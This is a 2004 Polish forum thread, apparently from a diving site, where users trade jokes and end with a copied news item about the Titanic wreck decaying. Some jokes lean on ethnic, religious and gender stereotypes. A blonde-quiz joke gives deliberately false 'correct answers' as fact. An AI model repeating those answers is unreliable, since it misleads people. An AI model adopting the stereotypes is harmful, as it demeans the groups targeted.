Przyleciał facet do Stanów. Dostał do wypełnienia ankietę. Facet spokojnie wypełnia sobie tę ankietę i oddaje urzędnikowi. Urzędnik patrzy, a on w rubryce SEX wpisał: "Twice a week". No więc próbuje mu to wytłumaczyc i mówi: "No, no. Male or female?". A facet na to: "Doesnt matter".
MArcin M. - 02-02-2004, 17:41

Jest rok 1410, przeddzień Bitwy pod Grunwaldem. Obóz Polaków. Wszyscy śruba jak
się patrzy. Ledwo łażą, pod każdym drzewem hafty impreza na maxa. Jagiełło leży
zarzygany w namiocie, pierwszy odjechał bo ma słaby łeb. Obóz Niemców;
jeszcze gorzej. Zaczęli już od rana wszyscy wygięci nawet konie się
uwaliły jeden koń drugiemu wkłada kopyto do paszczy żeby się wyrzygał
rycerze łażą naparzają się na niby mieczami; ogólny gnój!
Na drugi dzień Ulrich się budzi łeb go napier***a kac wielki chwyta się za
głowę i woła giermka:
Te słuchaj gościu; pójdziesz do Jagiełły; tam za ten pagórek dasz mu te
dwa miecze i powiesz mu że my wczoraj z chłopakami pochlali mnie łeb
napier***a i w ogóle że dzisiaj nie da rady! Powiedz że może jutro się
zetrzemy czy jak? ok.?
Okej! Giermek wziął miecze pod pachę i idzie wężykiem do Jagiełły; trochę
się potyka i czka bo se rano klina walnął i go trzyma fest jeszcze.
Przyszedł do Władzia i mówi:
Dobry! Ja tam nie wiem ale szef mnie tutaj przysłał i kazał dać te dwa
miecze - wbił zamaszyście w glebę miecze - i kazał powiedzieć że u nas
wczoraj była impreza i dzisiaj nie da rady może jutro!
Nie no wszystko ok. my tam z chłopakami też nielicho wczoraj
zabalowaliśmy naprawdę nie ma sprawy - ale materaca gościu to mi nie
musiałeś przebijać...

MArcin M. - 02-02-2004, 17:43

Zamknęli gościa do więzienia na 20 lat siedział sam w celi nie miał co robić ale po latach złapał mrówkę. Wyuczył ją tańczyć śpiewać robić fikołki zrobił jej mały parasolik i ubranko. Ćwiczył ją i ćwiczył poświęcał jej cały czas. W końcu wyszedł na wolność i zabrał mrówkę ze
sobą. Nie wiedział co z sobą zrobić więc poszedł do dobrej restauracji coś wreszcie porządnie zjeść. Ale nie miał pieniędzy. Podchodzi kelner:
- Słucham pana?
- Proszę pana chciałbym zjeść coś naprawdę super ale nie mam pieniędzy...
- Och bardzo mi przykro...
- Ale zróbmy tak: da mi pan dobry obiad a ja pana w zamian czymś zadziwię. Założę się że tego pan jeszcze nie widział!
- No niech będzie. Co to takiego?
- Proszę pana niech pan popatrzy tu na stole jest mrówka...
Kelner ściera mrówkę serwetą mówiąc:
- Oj najmocniej Pana przepraszam...
:razz:

MArcin M. - 02-02-2004, 17:50

Otwierając nowe centrum handlowe pewien właściciel otrzymał wiązankę
kwiatów. Zastanowiła go zawartość dołączonego bileciku:
"Z wyrazami sympatii".
Kiedy próbował odgadnąć od kogo mogą pochodzić te kwiaty - zadzwonił
telefon. Była to kwiaciarka która przepraszała ze przesłała
niewłaściwa wiązankę.
"Och nie ma za co" - powiedział właściciel supermarketu - "Jestem
businessmanem wiec wiem ze takie rzeczy się zdarzają".
"No tak ale" - dodała kwiaciarka - "pańska wiązanka w wyniku tej
pomyłki została wysłana na pogrzeb".
"Ciekawe. A co było napisane na bileciku?" - zapytał nasz rodzimy
businessman.
"Gratulacje z powodu nowej lokalizacji".

bann - 03-02-2004, 10:19

Spaceruje sobie dziewczynka z psem przy kościele i spotyka ją proboszcz i pyta:
-jak masz na imie dziewczynko?
- Płatek
Proboszcz zdziwiony pyta dlaczego tak, a dziewczynka mu odpowiada:
- widzi proboszcz to drzewo? to tam kidedy rodzice się namietnie kochali żebym ja powstała zawiał wicher, a ze to było lato spadły wszystkie kwiatki z drzewa nakrywajac ich nagie ciała, wiec postanowili mnie tak nazwać.
Proboszcz zafascynowany pyta
- Jak się nazywa pies?
Dziewczynka mu odpowada że pigi
- dlaczego? pyta proboszcz i znów czeka na taka sama ciekawa opowieść a dziewczynka krotko zwięzlie i zgrabnie:
- bo rucha swinie.

bann - 03-02-2004, 10:43

Do lasu wbiega ogromny dzik. Zwierzęta uciekają, drzewa sie łamią, ziemia sie trzęsie, a dzik ciągle biegnie. Podbiega do chatki Puchatka, wali w drzwi, chatka cała az sie trzęsie. W końcu otwiera przestraszony Puchatek. Słoik z miodkiem wypada mu z rąk. A tu nagle dzik mówi piskliwym głosem: - Kubusiu, nie bój sie, to ja , Prosiaczek!!! Z wojska wróciłem!!!!!!!
MArcin M. - 13-02-2004, 21:16
Temat postu: Quiz z blondynką...
Blondynka bierze udzial w telewizyjnym quizie. Moderator stawia
nastepujace pytania:

1. Jak dlugo trwala Wojna Stuletnia?
* 116 lat
* 99 lat
* 100 lat
* 150 lat
Blondynka korzysta z mozliwosci nieudzielania odpowiedzi na
jedno pytanie.

2. Z ktorego kraju pochodzi kapelusz typu "panama"?
* z Brazylii
* z Chile
* z Panamie
* z Ekwadorze
Blondynka prosi o pomoc publicznosci.

3. W ktorym miesiacu Rosjanie obchodza rocznice Rewolucji
Pazdziernikowej?
* w styczniu
* we wrzesniu
* w pazdzierniku
* w listopadzie
Blondynka korzysta z jokera telefonicznego i dzwoni do innej
blondynki.

4. Jak brzmi wlasciwe imie krola George'a IV?
* Albert
* George
* Manuel
* Jonas
Blondynka korzysta z jokera "pol na pol".

5. Od ktorego zwierzecia pochodzi nazwa Wysp Kanaryjskich?
* od kanarka
* od kangura
* od szczura
* od psa
Blondynka odpada z gry.

P.S. Jezeli uznales perypetie blondynki za zabawne, to tu masz
wlasciwie odpowiedzi:
1. Wojna Stuletnia trwala 116 lat - od 1337 do 1453.
2. Kapelusz "panama" pochodzi z Ekwadoru.
3. Rocznice Rewolucji Pazdziernikowej obchodzi sie 7. listopada.
4. Wlasciwe imie krola George'a IV brzmi Albert - zmienil je w
1936.
5. Nazwa Wysp Kanaryjskich pochodzi z laciny w ktorej canis
oznacza psa.

No i co? Jestes madrzejszy od blondynki?

:razz: :razz: :razz:

bann - 15-02-2004, 20:08

Pod koniec lat siedemdziesiątych (historia AUTENTYCZNA) na Bramie Portowej nowy FIAT 125p kierowany przez kobietę, która prowadziła, jakby nie wiedziała, co to jest prawo jazdy nie mogła ruszyć z czerwonego światła. Akurat milicyjna nyska stała niedaleko i z głośników zaczął wydobywać się oficjalny i urzędowy ton: -Obywatelko, proszę wcisnąć sprzęgło, czyli pierwszy pedał nożny z lewej, następnie ciągle trzymając wciśnięte sprzęgło, czyli pierwszy pedał nożny z lewej chwycić ręką prawą za gałkę skrzyni biegów, ciągnąc ją do siebie a następnie popchnąć do przodu, a po wrzuceniu biegu objawiającego się zaskoczeniem dźwigni we właściwej pozycji nacisnąć pedał gazu czyli pierwszy pedał nożny z prawej i powoli zwiększając na niego nacisk równocześnie powoli puszczając sprzęgło, czyli pierwszy pedał nożny z lewej aż do momentu ruszenia samochodu. Po kilku nieskutecznych próbach z gasnącym silnikiem i samochodem podrywanym to w przód,to w tył babinka w końcu uderzyła w stojące za nią auto. Wówczas z głośników wydobył się okrzyk:
- K**wa, mówiłem Ci, że ta głupia pi**a przypie***oli w tę skarpetę!

bann - 15-02-2004, 20:10

Dwóch kiblonurków oczyszcza kanalizację, majster w akwalungu zanurza się i co chwila wypływa z szamba prosząc o klucze:
- Kazik, szóstka !
- Kazik, czternastka !
- Kazik, piętnastka !
Po skończonej robocie majster mówi:
- Ucz się Kaziu, bo całe życie będziesz klucze podawał...

bann - 07-03-2004, 23:21

Policjant umarl i idzie do nieba, w niebie, Sw. Piotr bierze go na strone i mowi tak: poniewaz byles dobym glina, nie wlepiales bezczelnie mandatow, nie byles gruboskorny itd itp mozesz mnie prosic o co tylko chcesz;
- chcialbym najszybsza fure w niebie, chcilbym byc znowu mlody i zeby nikt mnie nie dogonil
- nic prostszego mowi sw. Piotr, pstyknal palcami i mowi: teraz wyjdz przed budynek i wsiadaj
Policjant wychodzi, przed budynkiem stoi fura, pelen wypas, rozanielony wsiada do srodka, przekreca kluczyk, wrzuca bieg i rusza z piskiem. Po paru probach wyjezdza na autostrade...
pogina 250/h lewym pasem na dlugich, a tu z tylu z prawej tylko mu smignelo czarne ferrari w kabriolecie. zawiedziony, wraca do sw. piotra,
- sw piotrze, jak to mialo byc, mialem miec najszybsze auto w calym niebie, takie zeby mnie nikt nie wysmyknal... a tu mija mnie zaraz za miastem takie ferrari
sw P. pyta:
-czarne?
-tak
-kabriolet?
-tak, sw Piotrze
-2 laski w srodku i glosna muzyka?
-TAK!!! to ten!!!
-niestety nic na to nie poradze moj dogi - to syn szefa ....

Aston - 08-03-2004, 00:25

:wave:

No tak! :)

:wave: :wave:

Kuba - 10-03-2004, 14:07

The madam opened the brothel door to see a rather dignified, well-dressed good looking man in his late 40s or early 50s. "May I help you?" she asked. "I want to see Natalie," the man replied.

"Sir, Natalie is one of our most expensive ladies. Perhaps you would prefer someone else," said the madam. "No. I must see Natalie," was the man's reply.

Just then, Natalie appeared and announced to the man that she charged $1,000 a visit. Without hesitation, the man pulled out ten one-hundred dollar bills, gave them to Natalie, and they went upstairs. After an hour,
the man calmly left.

The next night, the same man appeared again, demanding to see Natalie. Natalie explained that none had ever come back two nights in a row...too expensive and there were no discounts. The price was still $1,000. Again the man pulled out the money, gave it to Natalie and
they went upstairs. After an hour, he left. The following night the man was there again. Everyone was astounded that he had come for the third consecutive night, but he paid Natalie and they went upstairs. After their session, Natalie questioned the man. "No one has ever used me three nights in a row. Where are you from?" She asked.

The man replied, "South Carolina"

"Really" she said. "I have family in South Carolina"

"I know," the man said. "Your father died and I am your sister's attorney. She asked me to give you your $3,000 inheritance." The moral of the story is that three things in life are certain:

1. Death;

2. Taxes;

3. Being screwed by a lawyer.

fragless - 10-03-2004, 22:18

Mąż budzi się rano po powrocie nad ranem z konkretnej libacji, a tu żona od samego rana z uśmiechem podaje mu śniadanko do łóżeczka, kapetki żeby mu nogi w drodze do kibelka nie zmarzły, rozanielona cała. Mąż zdegustowany takim zachowaniem, gdyż był przygotowany na piekło, pyta syna co się matce stało, że tak radykalnie zmieniła swoje zachowanie. Syn na to odpowiada:
-Wróciłes dzisiaj nad ranem sciorany jak szmata, przewróciłeś się w przedpokoju, zerzygałeś na chodnik, a jak matka ci próbowała sciągnąć buta to powiedziałeś:
"Zostaw mnie ty stara ku..o, ja mam żonę!!!"


Jeden zasłyszany na kursie nurkowania który w zasadzie nie tak dawno kończyłem. Pewnie go już wszyscy znają, ale i tak przytoczę ;-) :

Wychodzi dwóch nurków technicznych na łódź, po zejściu na trzycyfrową głębokość, wrzucają na pokład tony sprzętu, który mieli ze sobą i jeden mówi do drugiego:
-Stary, a co z dekompresją??
-Pie...l dekompresję, bo za chwile nam samolot ucieknie!!


I jeszcze dobra rada jaką dał mi instruktor podczas wykładu na temat pierwszej pomocy, tudzież reanimacji:

Wiesz kogo nie powinno się reanimować podczas pierwszych wiosennych nurów?
- Kolesia w łyżwach.

Kuba - 23-03-2004, 08:19

Wakacje. Tlok. W pociagu ludzie stloczeni na korytarzu. Nagle
ktos wola:
- Czy jest lekarz w pociagu?
- Jestem - krzyczy pasazer - przeciska sie przez dwa sklady,
dochodzi do wolajacego, a ten pyta:
- Choroba gardla na 6 liter?

K.

Kuba - 23-03-2004, 10:30

JEJ pamiętnik:

"Sobota wieczorem, wydał mi się trochę dziwny. Umówiliśmy się na drinka barze. Ponieważ całe popołudnie z koleżankami byłam na zakupach, myślałam, że może to moja wina... dotarłam trochę z opóźnieniem; ale on nic nie powiedział. Żadnego komentarza. Rozmowa była jakaś spięta, więc ja proponowałam pójść w inne miejsce, bardziej spokojne, intymne.

W drodze do ładnej restauracji on dalej był dziwny. Był jakby nieobecny.
Próbowałam go rozbawić, i zaczęłam się zastanawiać czy to moja wina czy nie!

Pytałam czy coś nie tak zrobiłam, on powiedział że nie mam z tym nic wspólnego, ale jego odpowiedź nie była przekonująca. Później w drodze do domu objęłam go i powiedziałam że go bardzo kocham ale on dał mi tylko zimny pocałunek bez żadnego słowa. Nie wiem jak tłumaczyć jego zachowanie, nic nie powiedział... nie powiedział że mnie kocha... bardzo się tym martwię!

W końcu byliśmy w domu; w tamtej chwili byłam pewna że on chciał mnie zostawić; próbowałam z nim rozmawiać, ale on włączył telewizor i oglądał coś zanurzony w myślach, chcąc jakby powiedzieć że wszystko się skończyło.

W końcu poddałam się i poszłam spać. Ale dziesięć minut później niespodziewanie on też przyszedł do łóżka, i o dziwo oddał moje pieszczoty, i kochaliśmy
się, mimo że cały czas był jakiś zimny, jakby daleko ode mnie. Próbowałam rozmawiać znowu o naszej sytuacji, o jego zachowaniu, ale on już spał.

Zaczęłam płakać i płakałam całą noc aż zasnęłam. Jestem pewna że on myśli o innej, moje życie jest takie trudne."


JEGO pamiętnik
"Legia przegrała... ale przynajmniej był seks!"

Kuba - 23-03-2004, 10:45

Komarzyca wracała z nocnej eskapady. Nalatała się o wiele więcej niż zwykle, więc marzyła tylko o drzemce i spokojnym strawieniu krwistej kolacji......
Kornik pracował od kilku godzin w swojej drewutni. Miał sporo zleceń i zaczął drążyć jeszcze w nocy , żeby zdążyć z zamówieniami. Zrobił sobie przerwę na rozprostowanie zmęczonych odnóża. Od kilku dni miał w głowie dziwną pustkę i zastanawiał się, czy nie spotkać kumpli korników i nie zalać porządnie robaka. Nagle stanął jak wryty. Drogą kroczyła ponętna komarzyca która przystanęła i z uznaniem omiotła wzrokiem muskularne ciało kornika...
Bzzzz...szepnęła komarzyca
Bezy bezy ...wyjąkał kornik .
Tak się zakochali od pierwszego bzyknięcia. Romans musiał stać się głośny na prowincjonalnej łące. Owadzia plotka rozprzestrzenia się z szybkością pasikonika i choć żyje krótko jak jętka jednodniówka, potrafi dotrzeć do ucha każdego zainteresowanego. Nic nie pomagały awantury i groźby bo kto to widział komarzycę i kornika, same kłopoty z tego będą.
Skoro młodzi nie potrafili bez siebie żyć, rodziny same postanowiły uciąć sprawie łeb.
Skazani na banicję nie rozumieli, dlaczego wszyscy byli przeciwko tej miłości- szalonej namiętnej, cudownie słodkiej. Światło zrozumienia spłynęło nagle, kiedy pewnego chłodnego popołudnia komarzyca powiła
dziecię.
Rodzice długo pochylali się w milczeniu nad kolebką, nie wiedząc jak skomentować zaskakującą zawartość zawiniątka. Wreszcie odezwał się kornik:

BIEDNE MALEŃSTWO, NA CAŁYM TYM PODŁYM ŚWIECIE TYLKO MAMA I TATA BĘDĄ CIĘ KOCHAĆ .....
Z koronkowego becika wyglądał z zaciekawieniem mały, złośliwooki
KOMORNIK
------------------------------

Jeszcze dziś wiele osób pisze ręcznie cyfrę 7 z poziomą kreską w połowie wysokości. Kreska ta zaniknęła w większości stylów pisma maszynowego i komputerowego - co można było zauważyć powyżej.

Ale czy wiecie dlaczego ta kreska przetrwała do naszych czasów?

Trzeba powrócić do czasów biblijnych, kiedy to Mojżesz wspiął się na górę Synaj. Gdy zostało mu podyktowane 10 przykaza zszedł do swego ludu i zaczął odczytywać im donośnym głosem każde przykazanie.

Gdy doszedł do siódmego odczytał:
"Nie będziesz pożądał żony bliźniego swego",

na co z tłumu odezwały się liczne głosy:
"Skreśl siódemkę, skreśl siódemkę!"


Kuba

Miłosz - 25-03-2004, 13:46
Temat postu: lekarze na tapecie
Wypisy z dokumentacji szpitalnej
> 1. Pacjent ma dwoje nastoletnich dzieci, lecz poza tym nie
> wykazuje objawów choroby psychicznej.
> 2. Pacjent uskarza sie na ból w klatce piersiowej po osmiu
> miesiacach lezenia na lewym boku.
> 3.Podczas badania kolano bylo zaczerwienione i obrzekniete, a na
> drugi dzien zniknelo.
> 4. Pacjentka nieustannie szlocha i placze, wyglada takze nieco
> depresyjnie.
> 5. Pacjentka cierpi na depresje od czasu pierwszej wizyty u mnie
> w 1996.
> 7. Wygladajacy zdrowo zgrzybialy 70-letni mezczyzna, wysoce
> sprawny umyslowo, zaawansowany Alzheimer.
> 8. Pacjent odmówil sekcji.
> 9. Denat twierdzi ze nie mial poprzednich historii samobójstw.
> 10. Pacjent twierdzi, ze biale krwinki zostawil do badania w
> innym szpitalu.
> 11. Historia medyczna pacjenta wyglada zdumiewajaco dobrze,
> przybral jedynie na wadze 20 kg w ciagu trzech ostatnich dni.
> 12. Pacjent mial na sniadanie kanapki, a po poludniu anoreksje.
> 13. Notatka z konsultacji: Tak miedzy nami mówiac, powinno nam
> sie udac zaplodnic te pacjentke.
> 15. Pacjent nie ma czucia od palców stóp w dól.
> 16. Przebywajac na intensywnej terapii pacjentka zostala
> przebadana, przeswietlona i wyslana do domu.
> 17 .Skóra pacjenta pozostala sucha i wilgotna.
> 18. Pacjent uskarza sie na okazjonalne, ciagle i nieprzerwane
> bóle glowy.
> 19. Pacjent wykazywal pelna przytomnosc i wspólprace i nie
> odpowiadal na pytania.
> 20. Pacjentka stwierdzila ze na zatwardzenie cierpiala przez
> wiekszosc zycia do momentu rozwodu.
> 21. Badanie rektalne (analne) ujawnilo powiekszona tarczyce.
> 22. Obie piersi sa równe i reaguja na swiatlo.
> 23. Badanie genitaliów wykazalo, ze pacjent byl pochodzenia
> zydowskiego, poniewaz byl oberzniety.
> 24. Skóra: nieco blada, ale obecna.
> 25. Badanie bioder wykonano pacjentce wieczorem w lózku

Garnett - 08-04-2004, 09:03

Rok 2006. Bruksela, budynek Parlamentu Europejskiego. ...przeczytajcie do końca

Deputowani z kilkunastu krajów i szefowie rządów utkwili wzrok w trybunie, za którą schował się korpulentny mężczyzna przybyły z kraju nad Wisłą. Na szlachetne czoło tajemniczego Sarmaty opadała blond grzywka, falując niczym łan pszenicy w letni dzień, zaś czerstwa i spalona słońcem solarium twarz przypominała pachnący bochen, ulepiony spracowanymi dłońmi polskich gospodyń. Na szyi dyndał niebieski krawat upsztrzony biało czerwonymi gwiazdkami.

Mężczyzną tym był Przewodniczący.
Przewodniczący odkaszlnął i wygramolił się zza mównicy, wciskając jeszcze ramię w rękaw marynarki.
- Przepraszam. Przebrałem się tak chybcikiem, bo przyszłem w smokingu, ale w kuluarach zobaczyłem napis "no smoking", to żem wskoczył w garnitur.
He,he,bardziej swojsko będzie.

Tu Przewodniczący przerwał, choć mikrofon trzymał. Wszystkim się zdawało, że Przewodniczący mówi jeszcze, a to echo grało. Rozejrzał się po sali, klepnął w potylicę i nagle wyciągnął rękę w pozdrowieniu, które początkowo było popularne w starożytnym Rzymie, a potem w latach trzydziestych w Niemczech.
Po sali przeszedł szmer. Ucichły głośniejsze rozmowy. Berlusconi się obudził. Przewodniczący trzymał wyprostowaną rękę i rozglądał się delektując efektem. Gdzieś w tylnych rzędach zobaczył swojego doradcę od gestykulacji. Doradca miał minę zwiastująca jakąś klęskę i z przerażeniem sylabizował:
-Szefie! Nie ten gest! Ten miał być na spotkanie z Le Penem!
Przewodniczący nie stracił zimnej krwi. Trzymał dalej wyprężoną rękę z pięcioma sztywnymi palcami i myślał.....
Nagle dostrzegł przemykającego pod tylną ścianą kelnera, więc nie tracąc rezonu zawołał:
-Panie kelner! Pięć herbat na trybunę proszę!

Potem opuścił dłoń, chrząknął i poprawił sobie krawat.
W końcu nadszedł dzień, gdy po długiej nauce języka obcego mógł przetestować
umiejętności.
Przecież nie na darmo już dwa lata temu nakazał by wszyscy w jego
partii uczyli się angielskiego. Wziął głęboki oddech i rozpoczął:

"Tall room!" ( Wysoka Izbo! ) -
Welcome in the name of all penis of polish SELFDEFENCE ! ( Witam w
imieniu wszystkich członków samoobrony! ).
Today I drink coffe with Anan. (Dziś piłem kawę z sekretarzem generalnym ONZ ).
Balcerowicz must go on! (Balcerowicz musi odejść ) I have all on this shit! ( Mam wszystko na tej kartce! ).
Selfedefence is big party and ice is poor in Poland !
(Samoobrona jest dużą partią, a lud jest biedny w Polsce).
Po czym swoje krótkie, acz mocne przemówienie zakończył zniżając głos do basu Schwarzennegera:
- I'll be back! (Jeszcze tu wrócę)
I kiedy Przewodniczący schodził z mównicy deputowani europejskich
rządów zgotowali mu owację. Bądź co bądź Przewodniczący był polskim
premierem.
Uśmiechnął się z zadowoleniem i tylko nieliczni dostrzegli błyszczące w jego oczach figlarne little eye-bitches (kurwiki).

Kuba - 19-04-2004, 09:09

niby wszyscy po nurkowaniach nakladamy (powinnismy nakadac) czapeczki by nas nie przewialo, ale polecam zastanowic sie nad takim aspektem tego zagadnienia:


Morze Pólnocne, lodowaty wicher duje jak cholera. Na pokladzie statku stoi dwóch marynarzy.
- W taka pogode z gola glowa? Gdzie masz swoje nauszniki?
- Od czasu nieszczesliwego wypadku juz ich nie nosze.
- Jakiego nieszczesliwego wypadku??
- Kumpel zapraszal na wódke, a ja nie slyszalem

pozdrawiam
Kuba

Garnett - 19-04-2004, 23:33

Pewna normalna katolicka rodzina. Pewnego dnia ciszę przy obiedzie przerywa 10-letnia córka oświadczając poważnie:
- Nie jestem już dziewicą.

Po tych słowach zapada całkowita cisza. Pozbierawszy się ojciec mówi do matki:
- Marta, ty tu jesteś winna! Jesteś dziwka! Ubierasz się tak frywolnie, że faceci ogladają się za tobą i gwizdają! Mało tego, zachowujesz się obscenicznie przy naszej córce!

Do starszej 20-letniej córki krzyczy:
- I ty, ty też tu jesteś winna! Tak samo jesteś dziwka! Pieprzysz się z pierwszym lepszym kolesiem na naszej sofie kiedy tylko wyjdziemy z domu! I to na oczach naszej córki! Kilka dni temu znalazłem na poduszce ślady spermy! I nie myśl sobie, że nie wiem o tym, że masz w szafce nocnej wibrator! Brudna szmato!

Na to wsciekła matka wrzeszczy na ojca:
- Zamknij się, do licha! To właśnie ty powinieneś uważać na to co mówisz. To właśnie ty wydajesz pół wypłaty na prostytutki! To ty spacerujesz po
dzielnicy czerwonych latarni z naszą małą córeczka! A odkąd mamy telewizje kablową cały czas oglądasz pornole, nawet przy małej! Żeby już nie wspominać o twojej szmatławej sekretarce, która systematycznie robi ci loda i której nie wystarcza nawet to, że ją normalnie stukniesz, a ty dzwonisz potem do domu i tym swoim anielskim głosikiem rozmawiasz nawet z naszą córka!

Zaszokowana i pełna zwątpienia matka zwraca się do córeczki:
- Ale jak to się stało, skarbie? Zostałaś zgwałcona czy dziabnął cię kolega z klasy?

Mała patrzy dużymi oczyma na matkę i mówi:
- Ależ nie mamo, pani zmieniła mi rolę w jasełkach, nie jestem już dziewicą tylko pastereczką.



Mieszkajacy od lat w Stanach stary Arab ma 5 hektarowe pole ziemniakow, nadszedl czas sadzenia ale jego jedyny syn zostal aresztowany jako terrorysta. Zalamany Arab wysyla telegram
do syna do wiezienia:
Drogi Abdulu,
Tu pisze twoj ojciec Muhammad. Jak co roku przyszedl czas sadzenia ziemniakow ale ja juz jestem po prostu za stary zeby przekopac pole i pozasadzac sadzonki. Wiem ze jakbyś tu był byś mi pomogl.
Kochajacy cie ojciec Muhammad.

Po kilku godzinach przychodzi telegram z wiezienia:
TATO NIE KOP NIGDZIE NA POLU TAM SCHOWALEM CALY TROTYL
WIROWKĘ DO REAKTORA ORAZ BUTLE Z GAZEM I BAKTERIAMI!!!

Piec minut po telegramie przyjezdza 300 osobowa ekipa z FBI z psami, koparkami i lopatami. Przeszukiwali i przekopywali cale pole przez dwa tygodnie nic nie znalezli wiec przeprosili i odjechali. Na nastepny dzien przychodzi telegram:

Drogi Ojcze,
Tu pisze kochajacy cie syn Abdul. Pole przekopane, mozesz sadzic sadzonki. Zwazywszy zaistniałe trudne okolicznosci wiecej zrobic nie moglem,
Kochajacy cie syn Abdul.


Amerykanskie sondy potwierdzily istnienie prymitywnej cywilizacji na planecie Mars. Butni amerykanie wyslali od razu rakiete zalogowa wypelniona, paciorkami, gumami do zucia, czekolada i \"nowoczesna\" odremontowana bronia palna z demobilu.

Gdy rakieta wyladowala posród tlumu nieufnie spogladajacych, zielonych tubylców, z megafonu poplynely slowa prezydenta USA skierowane do bratniej ludnosci Czerwonej Planety obiecujace, przyjazn, wspólprace, profity i sojusz wojskowy. Po skonczonym przemówieniu i odpaleniu wielkiego pojemnika wypelnionego balonikami w kolorach bialym, czerwonym, niebieskim i zielonym, zaloga stanela przed drzwiami, gotowa otworzyc je i wpasc w ramiona Marsjan.

Jakie bylo ich zdziwienie, gdy okazalo sie, ze w tym samym czasie delegacja \"zielonych\" zespawala im wlaz z reszta korpusu rakiety, skutecznie uniemozliwiajac im wyjscie na zewnatrz. Kiedy Marsjanie skonczyli dywersje, caly tlum rozpierzchl sie pozostawiajac samotna zaspawana amerykanska rakiete. Bezsilni Amerykanie popadli w taka apatie, iz zapomnieli skontaktowac sie z baza, a przez 2 kolejne dni siedzieli i nie odzywali sie do siebie.

Na 3 dzien zastukal w korpus przechodzacy opodal Marsjanin-dziadek:
- Jest tam kto? Zyjecie?
- Taaaaak! - zakrzykneli gromko kosmonauci do których serc i umyslów powrócila nadzieja.
- Czemu tam siedzicie i nie wychodzicie?
- Przeciez nas zaspawaliscie a my mamy dla was prezenty, kazdy z was cos dostanie, wypusc nas - blagal dziadka kapitan wyprawy.
- Heh, te spawanie to taki nasz zwyczaj. Ale jak byli tu Polacy, to poradzili sobie z wlazem w 15 minut.
- Co? Polacy juz tu byli?
- Tak, i tak jak wy mieli dla nas prezenty.
- Co takiego mogli oni wam dac?!?!?
- Nie wiem dokladnie co to bylo, bo akurat mnie nie bylo, ale nazywało się to \"a fee\" i wszyscy to dostali.



Pewien młody mężczyzna miał 3 przyjaciółki, po pewnym czasie musiał się zdecydować, która w końcu poślubić. Dlatego zrobił test. Każdej dal po 2.000 EURO.
Pierwsza przyjaciółka poszła do sklepu, kupiła sobie suknie, buty, piękny kapelusz. Poszła do fryzjera. Przyszła z powrotem do gościa i mówi:
- Chce być najładniejsza dla Ciebie, ponieważ Cię kocham.
Druga przyjaciółka poszła do sklepu. Kupiła strój piłkarski, telewizor, wideo i 1000 puszek piwa. Przyszła z powrotem do gościa i mówi:
- To SA moje prezenty dla Ciebie, ponieważ Cię kocham.
Trzecia przyjaciółka pomyślała ostro, wzięła te pieniądze i wpakowała w inwestycje, z której po krótkim czasie wyciągnęła podwójny wkład. Potem wzięła te pieniądze i wpakowała je w inna inwestycje, która również pięknie prosperowała. I potem znowu to samo i znowu to
samo, tak ze po pewnym czasie z tych 2.000 EURO zrobiła majatek. Przyszła z powrotem do gościa i mówi:
- Ja z tych pieniędzy bardzo dużo zarobiłam na nasza wspólna przyszłość, ponieważ Cię kocham.
Młody mężczyzna był zachwycony wszystkimi przyjaciółkami, przemyślał wszystkie odpowiedzi.... i ożenił się z ta .....
która miała największe cycki ...
Morał: MężczyÄ˝ni w przeciwieństwie do kobiet nie lecą na kasę.


Przychodzi facet do lekarza:
- Panie doktorze, od kilku dni mam zatwardzenie, nic mi nie pomaga
- Będziemy musieli panu zaaplikować czopki. Proszę się odwrócić, ściągnąć spodnie i pochylić się. Ja panu pokaże jak to się robi.
Facet ściągnął gacie, pochylił się i poczuł jak doktor wsuwa mu coś do tyłka.
- OK, gotowe. Proszę to samo powtarzać samemu w domu co 12 godzin przez najbliższe trzy dni.
Wieczorem gościu próbował samemu sobie poradzić ale jakoś mu się nie udawało. Poprosił więc żonę o pomoc. Odwrócił się, ściągnął spodnie i wypiął dupsko. Żona jedną ręką położyła na jego ramieniu, drugą natomiast zaczęła wkładać mu czopek.
- O ku**a! - wrzasnął w pewnej chwili facet.
- Co się stało kochanie, zabolało cię?
- Nie ale właśnie sobie uświadomiłem, że ten lekarz trzymał obie ręce na moich ramionach!

Misteres - 20-04-2004, 11:43

Czym się różni dobra stewardessa od bardzo dobrej stewardessy?
Dobra stewardessa mówi rano do kapitana "Good morning captain."
Bardzo dobra stewardessa mówi "It's morning captain."

Piotr - Malediwy - 20-04-2004, 16:05
Temat postu: dwcip
Podczas wspólnego nurkowania zaginęła facetowi żona. Następnego dnia rano, po nieprzespanej nocy, rozlega się dzwonek do drzwi. W progu stoi dwóch policjantów.
- Hmmm.... Mamy dla pana zła, dobrą i wyśmienitą wiadomość. Od której zacząć?
- Od tej złej.
- Dziś rano wydobyliśmy ciało pańskiej żony z Zatoli San Francisco.
- O Boże!!!
- Ale dobra wiadomość to fakt, że przyczepione były do niej trzy dorodne langusty i tuzin zacnych krabów!
- Czy wyście zwariowali?! To ma być ta dobra wiadomość?! A jaka jest ta wyśmienita?!
- Jutro wyciągniemy ją znowu!!!

ukusek - 21-04-2004, 23:19

Artykuł z bezpłatnej gazety Metro ukazujacej się w DC z kwietnia 2004r.


pozwoliłem sobie skopiować, oczywiście bez zgody :-D

Gazeta.pl > Metro > Wiadomości Środa, 21 kwietnia 2004


Titanic może się rozpaść w drobny mak

Leżącemu na dnie Atlantyku Titanicowi grozi całkowita zagłada. Pożerany przez mikroby kadłub może się rozpaść w drobny mak

Alarm wszczął słynny badacz morskich głębin Robert Ballard, który 19 lat temu odnalazł wrak Titanica spoczywający cztery kilometry pod powierzchnią Atlantyku. Na przełomie czerwca i lipca ub.r. francuski odkrywca kolejny raz zbadał okręt. Wyniki były szokujące. Okazało się, że wrak najsłynniejszego statku świata ulega powolnej zagładzie. Zapadł się już pokład, na którym tłoczyli się pasażerowie podczas ewakuacji, rozpada się rufa, a punkt obserwacyjny, z którego feralnej nocy 15 kwietnia 1912 r. obserwator krzyczał "Góra lodowa przed nami!" po prostu zniknął.

Titanicowi zaszkodziło głównie to, że wykonany został ze stali słabej jakości. Jest bardzo krucha, bo zawiera za dużo siarki. Swoje zrobiły też bakterie, które najzwyczajniej w świecie zżerają Titanica, oraz żądni mocnych wrażeń nurkowie, którzy całymi tabunami penetrują wrak.

Ballard chce temu zaradzić. W maju pod jego kierunkiem wyruszy ekspedycja, której zadaniem będzie dokładne opisanie zniszczeń. Wykona dokładną mapę wraku, która zostanie porównana z planem zrobionym zaraz po odnalezieniu statku. Wszystko będzie na bieżąco publikowane w internecie, a kanał telewizyjny National Geographic przeprowadzi z wraku transmisję na żywo.

